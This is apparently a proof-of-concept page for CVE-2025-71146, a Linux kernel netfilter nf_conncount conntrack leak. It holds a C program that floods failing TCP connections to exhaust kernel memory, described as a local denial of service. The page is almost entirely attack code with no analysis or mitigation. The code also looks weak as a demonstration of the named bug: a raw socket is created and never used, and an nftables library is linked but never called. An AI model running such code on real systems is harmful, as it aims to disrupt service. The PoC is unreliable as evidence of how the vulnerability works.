CVE-2025-71146: Linux内核netfilter nf_conncount模块连接跟踪泄漏漏洞

/* * CVE-2025-71146 PoC - Linux kernel nf_conncount memory leak * This PoC demonstrates the resource leak by triggering error paths * Requires: root or low-privilege user with network namespace access * Build: gcc -o cve202571146 cve202571146.c -lnftables */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <net/if.h> #include <sys/wait.h> #define TARGET_CONNections 100000 void trigger_conntrack_leak() { int sock; struct sockaddr_in target; /* Create raw socket to interact with netfilter */ sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if (sock < 0) { perror("socket creation failed"); return; } /* Rapidly create and close connections to trigger error paths */ for (int i = 0; i < TARGET_CONNections; i++) { memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_port = htons(80); target.sin_addr.s_addr = htonl(0xC0A80101); /* 192.168.1.1 */ int fd = socket(AF_INET, SOCK_STREAM, 0); if (fd >= 0) { /* Set socket options to trigger conntrack processing */ int flag = 1; setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &flag, sizeof(flag)); /* Attempt connection that will fail - triggers error path */ connect(fd, (struct sockaddr*)&target, sizeof(target)); /* Close immediately without proper cleanup */ close(fd); } if (i % 1000 == 0) { printf("Progress: %d/%d connections attempted\n", i, TARGET_CONNections); } } close(sock); printf("Memory leak test completed. Check dmesg for conntrack warnings.\n"); } int main(int argc, char *argv[]) { printf("CVE-2025-71146 PoC - nf_conncount Memory Leak\n"); printf("Target: Linux kernel < 5.15 with vulnerable netfilter module\n"); printf("Impact: Local denial of service via memory exhaustion\n\n"); trigger_conntrack_leak(); printf("\nVerification:\n"); printf("1. Check system memory: free -h\n"); printf("2. Check conntrack entries: cat /proc/net/nf_conntrack | wc -l\n"); printf("3. Check dmesg for 'possible memory leak' warnings\n"); return 0; }